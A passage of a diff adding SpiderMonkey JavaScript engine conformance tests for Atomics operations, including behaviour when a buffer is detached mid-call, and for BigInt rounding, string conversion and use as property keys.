+ let val = Atomics.or(ta, 0, 1);
+
+ assertEq(val, 2);
+ assertEq(ta[0], 3);
+}
+
+// Atomics.xor
+for (let TA of intArrayConstructors) {
+ let ta = new TA(new otherGlobal.SharedArrayBuffer(4));
+ ta[0] = 3;
+
+ let val = Atomics.xor(ta, 0, 1);
+
+ assertEq(val, 3);
+ assertEq(ta[0], 2);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Atomics/detached-buffers.js b/js/src/tests/non262/Atomics/detached-buffers.js
new file mode 100644
index 0000000000..e3bc269b40
--- /dev/null
+++ b/js/src/tests/non262/Atomics/detached-buffers.js
@@ -0,0 +1,94 @@
+// |reftest| skip-if(!this.Atomics)
+
+const intArrayConstructors = [
+ Int32Array,
+ Int16Array,
+ Int8Array,
+ Uint32Array,
+ Uint16Array,
+ Uint8Array,
+];
+
+function badValue(ta) {
+ return {
+ valueOf() {
+ detachArrayBuffer(ta.buffer);
+ return 0;
+ }
+ };
+}
+
+// Atomics.load
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.load(ta, badValue(ta)), TypeError);
+}
+
+// Atomics.store
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.store(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.store(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.compareExchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.compareExchange(ta, badValue(ta), 0, 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.compareExchange(ta, 0, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.compareExchange(ta, 0, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.exchange
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.exchange(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.exchange(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.add
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.add(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.add(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.sub
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.sub(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.sub(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.and
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.and(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.and(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.or
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.or(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.or(ta, 0, badValue(ta)), TypeError);
+}
+
+// Atomics.xor
+for (let TA of intArrayConstructors) {
+ let ta = new TA(1);
+
+ assertThrowsInstanceOf(() => Atomics.xor(ta, badValue(ta), 0), TypeError);
+ assertThrowsInstanceOf(() => Atomics.xor(ta, 0, badValue(ta)), TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Atomics/shell.js b/js/src/tests/non262/Atomics/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Atomics/shell.js
diff --git a/js/src/tests/non262/BigInt/Number-conversion-rounding.js b/js/src/tests/non262/BigInt/Number-conversion-rounding.js
new file mode 100644
index 0000000000..5daf68948d
--- /dev/null
+++ b/js/src/tests/non262/BigInt/Number-conversion-rounding.js
@@ -0,0 +1,244 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+/**
+ * Edge-case behavior at Number.MAX_VALUE and beyond til overflow to Infinity.
+ */
+function maxMagnitudeTests(isNegative)
+{
+ var sign = isNegative ? -1 : +1;
+ var signBigInt = isNegative ? -1n : 1n;
+
+ const MAX_VALUE = isNegative ? -Number.MAX_VALUE : +Number.MAX_VALUE;
+
+ // 2**971+2**972+...+2**1022+2**1023
+ var maxMagnitudeNumber = 0;
+ for (let i = 971; i < 1024; i++)
+ maxMagnitudeNumber += 2**i;
+ maxMagnitudeNumber *= sign;
+ assertEq(maxMagnitudeNumber, MAX_VALUE);
+
+ // 2**971+2**972+...+2**1022+2**1023
+ var maxMagnitudeNumberAsBigInt = 0n;
+ for (let i = 971n; i < 1024n; i++)
+ maxMagnitudeNumberAsBigInt += 2n**i;
+ maxMagnitudeNumberAsBigInt *= signBigInt;
+ var expectedMaxMagnitude = isNegative
+ ? -(2n**1024n) + 2n**971n
+ : 2n**1024n - 2n**971n;
+ assertEq(maxMagnitudeNumberAsBigInt, expectedMaxMagnitude);
+
+ // Initial sanity tests.
+ assertEq(BigInt(maxMagnitudeNumber), maxMagnitudeNumberAsBigInt);
+ assertEq(maxMagnitudeNumber, Number(maxMagnitudeNumberAsBigInt));
+
+ // Test conversion of BigInt values above Number.MAX_VALUE.
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 1n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 3n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 4n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 5n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 6n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 7n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 8n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 9n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**20n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**400n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**800n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**900n), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**969n), MAX_VALUE);
+
+ // For conversion purposes, rounding for values above Number.MAX_VALUE do
+ // rounding with respect to Number.MAX_VALUE and 2**1024 (which is treated as
+ // the "even" value -- so if the value to convert lies halfway between those two
+ // values, 2**1024 is selected). But if 2**1024 is the value that *would* have
+ // been chosen by this process, Infinity is substituted.
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * (2n**970n - 1n)), MAX_VALUE);
+ assertEq(Number(maxMagnitudeNumberAsBigInt + signBigInt * 2n**970n), sign * Infinity);
+}
+maxMagnitudeTests(false);
+maxMagnitudeTests(true);
+
+/**
+ * Simple single-Digit on x64, double-Digit on x86 tests.
+ */
+
+assertEq(BigInt(Number(2n**53n - 2n)), 2n**53n - 2n);
+assertEq(BigInt(Number(2n**53n - 1n)), 2n**53n - 1n);
+assertEq(BigInt(Number(2n**53n)), 2n**53n);
+assertEq(BigInt(Number(2n**53n + 1n)), 2n**53n);
+assertEq(BigInt(Number(2n**53n + 2n)), 2n**53n + 2n);
+assertEq(BigInt(Number(2n**53n + 3n)), 2n**53n + 4n);
+assertEq(BigInt(Number(2n**53n + 4n)), 2n**53n + 4n);
+assertEq(BigInt(Number(2n**53n + 5n)), 2n**53n + 4n);
+assertEq(BigInt(Number(2n**53n + 6n)), 2n**53n + 6n);
+assertEq(BigInt(Number(2n**53n + 7n)), 2n**53n + 8n);
+assertEq(BigInt(Number(2n**53n + 8n)), 2n**53n + 8n);
+
+assertEq(BigInt(Number(2n**54n - 4n)), 2n**54n - 4n);
+assertEq(BigInt(Number(2n**54n - 3n)), 2n**54n - 4n);
+assertEq(BigInt(Number(2n**54n - 2n)), 2n**54n - 2n);
+assertEq(BigInt(Number(2n**54n - 1n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n + 1n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n + 2n)), 2n**54n);
+assertEq(BigInt(Number(2n**54n + 3n)), 2n**54n + 4n);
+assertEq(BigInt(Number(2n**54n + 4n)), 2n**54n + 4n);
+assertEq(BigInt(Number(2n**54n + 5n)), 2n**54n + 4n);
+assertEq(BigInt(Number(2n**54n + 6n)), 2n**54n + 8n);
+assertEq(BigInt(Number(2n**54n + 7n)), 2n**54n + 8n);
+assertEq(BigInt(Number(2n**54n + 8n)), 2n**54n + 8n);
+
+assertEq(BigInt(Number(2n**55n - 8n)), 2n**55n - 8n);
+assertEq(BigInt(Number(2n**55n - 7n)), 2n**55n - 8n);
+assertEq(BigInt(Number(2n**55n - 6n)), 2n**55n - 8n);
+assertEq(BigInt(Number(2n**55n - 5n)), 2n**55n - 4n);
+assertEq(BigInt(Number(2n**55n - 4n)), 2n**55n - 4n);
+assertEq(BigInt(Number(2n**55n - 3n)), 2n**55n - 4n);
+assertEq(BigInt(Number(2n**55n - 2n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n - 1n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 1n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 2n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 3n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 4n)), 2n**55n);
+assertEq(BigInt(Number(2n**55n + 5n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 6n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 7n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 8n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 9n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 10n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 11n)), 2n**55n + 8n);
+assertEq(BigInt(Number(2n**55n + 12n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 13n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 14n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 15n)), 2n**55n + 16n);
+assertEq(BigInt(Number(2n**55n + 16n)), 2n**55n + 16n);
+
+
+/**
+ * Simple double-Digit on x64, triple-Digit on x86 tests.
+ */
+
+// The tests below that aren't subtracting bits will have no bits in the
+// ultimate significand from the most-significant digit (because of the implicit
+// one being excluded).
+assertEq(BigInt(Number(2n**64n - 2n**11n)), 2n**64n - 2n**11n);
+assertEq(BigInt(Number(2n**64n - 2n**11n + 2n**10n - 1n)), 2n**64n - 2n**11n);
+assertEq(BigInt(Number(2n**64n - 2n**11n + 2n**10n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n - 2n**10n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 1n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**5n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**10n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**11n)), 2n**64n);
+assertEq(BigInt(Number(2n**64n + 2n**11n + 1n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 1n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**5n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**10n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**11n - 1n)), 2n**64n + 2n**12n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**11n)), 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**64n + 2n**12n + 2n**11n + 1n)), 2n**64n + 2n**13n);
+
+// These tests *will* have a bit from the most-significant digit in the ultimate
+// significand.
+assertEq(BigInt(Number(2n**65n - 2n**12n)), 2n**65n - 2n**12n);
+assertEq(BigInt(Number(2n**65n - 2n**12n + 2n**11n - 1n)), 2n**65n - 2n**12n);
+assertEq(BigInt(Number(2n**65n - 2n**12n + 2n**11n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n - 2n**11n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 1n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**5n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**11n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**12n)), 2n**65n);
+assertEq(BigInt(Number(2n**65n + 2n**12n + 1n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 1n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**5n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**11n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**12n - 1n)), 2n**65n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**12n)), 2n**65n + 2n**14n);
+assertEq(BigInt(Number(2n**65n + 2n**13n + 2n**12n + 1n)), 2n**65n + 2n**14n);
+
+// ...and in these tests, the contributed bit from the most-significant digit
+// is additionally nonzero.
+assertEq(BigInt(Number(2n**65n + 2n**64n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 1n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**5n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**11n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**12n)), 2n**65n + 2n**64n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**12n + 1n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 1n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**5n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**11n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**12n - 1n)), 2n**65n + 2n**64n + 2n**13n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**12n)), 2n**65n + 2n**64n + 2n**14n);
+assertEq(BigInt(Number(2n**65n + 2n**64n + 2n**13n + 2n**12n + 1n)), 2n**65n + 2n**64n + 2n**14n);
+
+/**
+ * Versions of the testing above with all the high-order bits massively bumped
+ * upward to test that super-low bits, not just bits in high digits, are
+ * properly accounted for in rounding.
+ */
+
+// The tests below that aren't subtracting bits will have no bits in the
+// ultimate significand from the most-significant digit (because of the implicit
+// one being excluded).
+assertEq(BigInt(Number(2n**940n - 2n**887n + 1n)), 2n**940n - 2n**887n);
+assertEq(BigInt(Number(2n**940n - 2n**887n + 2n**886n - 1n)), 2n**940n - 2n**887n);
+assertEq(BigInt(Number(2n**940n - 2n**887n + 2n**886n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n - 2n**886n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 1n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**880n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**885n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**887n)), 2n**940n);
+assertEq(BigInt(Number(2n**940n + 2n**887n + 1n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 1n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**5n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**12n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**887n - 1n)), 2n**940n + 2n**888n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**887n)), 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**940n + 2n**888n + 2n**887n + 1n)), 2n**940n + 2n**889n);
+
+// These tests *will* have a bit from the most-significant digit in the ultimate
+// significand.
+assertEq(BigInt(Number(2n**941n - 2n**888n)), 2n**941n - 2n**888n);
+assertEq(BigInt(Number(2n**941n - 2n**888n + 2n**887n - 1n)), 2n**941n - 2n**888n);
+assertEq(BigInt(Number(2n**941n - 2n**888n + 2n**887n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n - 2n**887n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 1n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**881n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**886n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**888n)), 2n**941n);
+assertEq(BigInt(Number(2n**941n + 2n**888n + 1n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 1n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**5n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**12n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**888n - 1n)), 2n**941n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**888n)), 2n**941n + 2n**890n);
+assertEq(BigInt(Number(2n**941n + 2n**889n + 2n**888n + 1n)), 2n**941n + 2n**890n);
+
+// ...and in these tests, the contributed bit from the most-significant digit
+// is additionally nonzero.
+assertEq(BigInt(Number(2n**941n + 2n**940n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 1n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**881n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**886n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**888n)), 2n**941n + 2n**940n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**888n + 1n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 1n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**5n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**12n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**888n - 1n)), 2n**941n + 2n**940n + 2n**889n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**888n)), 2n**941n + 2n**940n + 2n**890n);
+assertEq(BigInt(Number(2n**941n + 2n**940n + 2n**889n + 2n**888n + 1n)), 2n**941n + 2n**940n + 2n**890n);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/decimal.js b/js/src/tests/non262/BigInt/decimal.js
new file mode 100644
index 0000000000..f461307744
--- /dev/null
+++ b/js/src/tests/non262/BigInt/decimal.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+// Check base-10 BigInt string conversion
+const decimalTests = [
+ [32n, -1n, 1n, "4294967295"],
+ [32n, -1n, -1n, "-4294967295"],
+ [32n, 0n, 1n, "4294967296"],
+ [32n, 0n, -1n, "-4294967296"],
+ [32n, 1n, 1n, "4294967297"],
+ [32n, 1n, -1n, "-4294967297"],
+ [64n, -1n, 1n, "18446744073709551615"],
+ [64n, -1n, -1n, "-18446744073709551615"],
+ [64n, 0n, 1n, "18446744073709551616"],
+ [64n, 0n, -1n, "-18446744073709551616"],
+ [64n, 1n, 1n, "18446744073709551617"],
+ [64n, 1n, -1n, "-18446744073709551617"],
+ [128n, -1n, 1n, "340282366920938463463374607431768211455"],
+ [128n, -1n, -1n, "-340282366920938463463374607431768211455"],
+ [128n, 0n, 1n, "340282366920938463463374607431768211456"],
+ [128n, 0n, -1n, "-340282366920938463463374607431768211456"],
+ [128n, 1n, 1n, "340282366920938463463374607431768211457"],
+ [128n, 1n, -1n, "-340282366920938463463374607431768211457"],
+];
+for (const [power, offset, sign, result] of decimalTests) {
+ assertEq(((2n**power+offset)*sign).toString(),
+ result);
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/large-bit-length.js b/js/src/tests/non262/BigInt/large-bit-length.js
new file mode 100644
index 0000000000..5f4617159b
--- /dev/null
+++ b/js/src/tests/non262/BigInt/large-bit-length.js
@@ -0,0 +1,33 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+function test(thunk, result) {
+ let val, err;
+ try {
+ val = thunk();
+ } catch (e) {
+ err = e;
+ }
+ if (err) {
+ assertEq(err instanceof RangeError, true);
+ } else {
+ assertEq(val, result);
+ }
+}
+
+const UINT32_MAX = 2**32-1;
+
+// Check that BigInt.asIntN and BigInt.asUintN either return correct results or
+// throw RangeErrors for large |bits| arguments. GMP uses a type equivalent to
+// 'unsigned long' for bit counts, which may be too small to represent all JS
+// integer indexes.
+for (let bits of [UINT32_MAX-1, UINT32_MAX, UINT32_MAX+1, Number.MAX_SAFE_INTEGER]) {
+ test(() => BigInt.asIntN(bits, 1n), 1n);
+ test(() => BigInt.asIntN(bits, 0n), 0n);
+ test(() => BigInt.asIntN(bits, -1n), -1n);
+ test(() => BigInt.asUintN(bits, 1n), 1n);
+ test(() => BigInt.asUintN(bits, 0n), 0n);
+ // Skip testing asUintN with negative BigInts since it could OOM.
+}
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/mod.js b/js/src/tests/non262/BigInt/mod.js
new file mode 100644
index 0000000000..2d7bde0462
--- /dev/null
+++ b/js/src/tests/non262/BigInt/mod.js
@@ -0,0 +1,8 @@
+// Any copyright is dedicated to the Public Domain.
+// https://creativecommons.org/licenses/publicdomain/
+
+// Check that |x % x| returns zero when |x| contains multiple digits
+assertEq(0x10000000000000000n % 0x10000000000000000n, 0n);
+assertEq(-0x10000000000000000n % -0x10000000000000000n, 0n);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/property-name-guessed-name.js b/js/src/tests/non262/BigInt/property-name-guessed-name.js
new file mode 100644
index 0000000000..feb91345b2
--- /dev/null
+++ b/js/src/tests/non262/BigInt/property-name-guessed-name.js
@@ -0,0 +1,21 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+// BigInts currently don't participate when computing guessed function names.
+
+var p = {};
+p[1] = function(){};
+p[2n] = function(){};
+
+assertEq(displayName(p[1]), "p[1]");
+assertEq(displayName(p[2]), "");
+
+var q = {
+ 1: [function(){}],
+ 2n: [function(){}],
+};
+
+assertEq(displayName(q[1][0]), "q[1]<");
+assertEq(displayName(q[2][0]), "q<");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/BigInt/property-name.js b/js/src/tests/non262/BigInt/property-name.js
new file mode 100644
index 0000000000..85addd550a
--- /dev/null
+++ b/js/src/tests/non262/BigInt/property-name.js
@@ -0,0 +1,194 @@
+// BigInt literals as property keys.
+{
+ let o = {
+ 0n: "0",
+ 1n: "1",
+
+ // 2**31
+ 2147483647n: "2^31-1",
+ 2147483648n: "2^31",
+ 2147483649n: "2^31+1",
+
+ // 2**32
+ 4294967295n: "2^32-1",
+ 4294967296n: "2^32",
+ 4294967297n: "2^32+1",
+
+ // 2n**63n
+ 9223372036854775807n: "2^63-1",
+ 9223372036854775808n: "2^63",
+ 9223372036854775809n: "2^63+1",
+
+ // 2n**64n
+ 18446744073709551615n: "2^64-1",
+ 18446744073709551616n: "2^64",
+ 18446744073709551617n: "2^64+1",
+ };
+
+ assertEq(o[0], "0");
+ assertEq(o[1], "1");
+
+ assertEq(o[2147483647], "2^31-1");
+ assertEq(o[2147483648], "2^31");
+ assertEq(o[2147483649], "2^31+1");
+
+ assertEq(o[4294967295], "2^32-1");
+ assertEq(o[4294967296], "2^32");
+ assertEq(o[4294967297], "2^32+1");
+
+ assertEq(o["9223372036854775807"], "2^63-1");
+ assertEq(o["9223372036854775808"], "2^63");
+ assertEq(o["9223372036854775809"], "2^63+1");
+
+ assertEq(o["18446744073709551615"], "2^64-1");
+ assertEq(o["18446744073709551616"], "2^64");
+ assertEq(o["18446744073709551617"], "2^64+1");
+}
+
+// With non-decimal different base.
+{
+ let o = {
+ 0b1n: "1",
+ 0o2n: "2",
+ 0x3n: "3",
+ };
+
+ assertEq(o[1], "1");
+ assertEq(o[2], "2");
+ assertEq(o[3], "3");
+}
+
+// With numeric separators.
+{
+ let o = {
+ 1_2_3n: "123",
+ };
+
+ assertEq(o[123], "123");
+}
+
+// BigInt literals as method property names.
+{
+ let o = {
+ 1n() {},
+ *2n() {},
+ async 3n() {},
+ async* 4n() {},
+ get 5n() {},
+ set 6n(x) {},
+ };
+
+ assertEqArray(Object.getOwnPropertyNames(o), [
+ "1", "2", "3", "4", "5", "6",
+ ]);
+
+ assertEq(o[1].name, "1");
+ assertEq(o[2].name, "2");
+ assertEq(o[3].name, "3");
+ assertEq(o[4].name, "4");
+ assertEq(Object.getOwnPropertyDescriptor(o, 5).get.name, "get 5");
+ assertEq(Object.getOwnPropertyDescriptor(o, 6).set.name, "set 6");
+}
+
+// BigInt literals as class method property names.
+{
+ class C {
+ 1n() {}
+ *2n() {}
+ async 3n() {}
+ async* 4n() {}
+ get 5n() {}
+ set 6n(x) {}
+ }
+ let o = C.prototype;
+
+ assertEqArray(Object.getOwnPropertyNames(o), [
+ "1", "2", "3", "4", "5", "6",
+ "constructor",
+ ]);
+
+ assertEq(o[1].name, "1");
+ assertEq(o[2].name, "2");
+ assertEq(o[3].name, "3");
+ assertEq(o[4].name, "4");
+ assertEq(Object.getOwnPropertyDescriptor(o, 5).get.name, "get 5");
+ assertEq(Object.getOwnPropertyDescriptor(o, 6).set.name, "set 6");
+}
+
+// BigInt literals as static class method property names.
+{
+ class C {
+ static 1n() {}
+ static *2n() {}
+ static async 3n() {}
+ static async* 4n() {}
+ static get 5n() {}
+ static set 6n(x) {}
+ }
+ let o = C;
+
+ // NB: Sort names because lazily resolved "length" and "name" properties are
+ // inserted in the wrong order.
+ assertEqArray(Object.getOwnPropertyNames(o).sort(), [
+ "1", "2", "3", "4", "5", "6",
+ "length", "name", "prototype",
+ ]);
+
+ assertEq(o[1].name, "1");
+ assertEq(o[2].name, "2");
+ assertEq(o[3].name, "3");
+ assertEq(o[4].name, "4");
+ assertEq(Object.getOwnPropertyDescriptor(o, 5).get.name, "get 5");
+ assertEq(Object.getOwnPropertyDescriptor(o, 6).set.name, "set 6");
+}
+
+// BigInt literals as class field property names.
+{
+ let o = new class {
+ 1n;
+ 2n = "ok";
+ };
+
+ assertEq(o[1], undefined);
+ assertEq(o[2], "ok");
+}
+
+// In binding destructuring contexts.
+{
+ let {0n: a} = ["ok"];
+ assertEq(a, "ok");
+}
+
+// In binding destructuring contexts with object rest pattern.
+{
+ let {0n: a, ...b} = ["ok", "test"];
+ assertEq(a, "ok");
+ assertEqArray(Object.getOwnPropertyNames(b), ["1"]);
+}
+
+// In assignment destructuring contexts.
+{
+ let a;
+ ({0n: a} = ["ok"]);
+ assertEq(a, "ok");
+}
+
+// In assignment destructuring contexts with object rest pattern.
+{
+ let a, b;
+ ({0n: a, ...b} = ["ok", "test"]);
+ assertEq(a, "ok");
+ assertEqArray(Object.getOwnPropertyNames(b), ["1"]);
+}
+
+// BigInt literals as inferred names.
+{
+ let o = {
+ 0xan: function(){},
+ };
+
+ assertEq(o[10].name, "10");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Boolean/15.6.4.2.js b/js/src/tests/non262/Boolean/15.6.4.2.js
new file mode 100644
index 0000000000..3e10afa388
--- /dev/null
+++ b/js/src/tests/non262/Boolean/15.6.4.2.js
@@ -0,0 +1,17 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
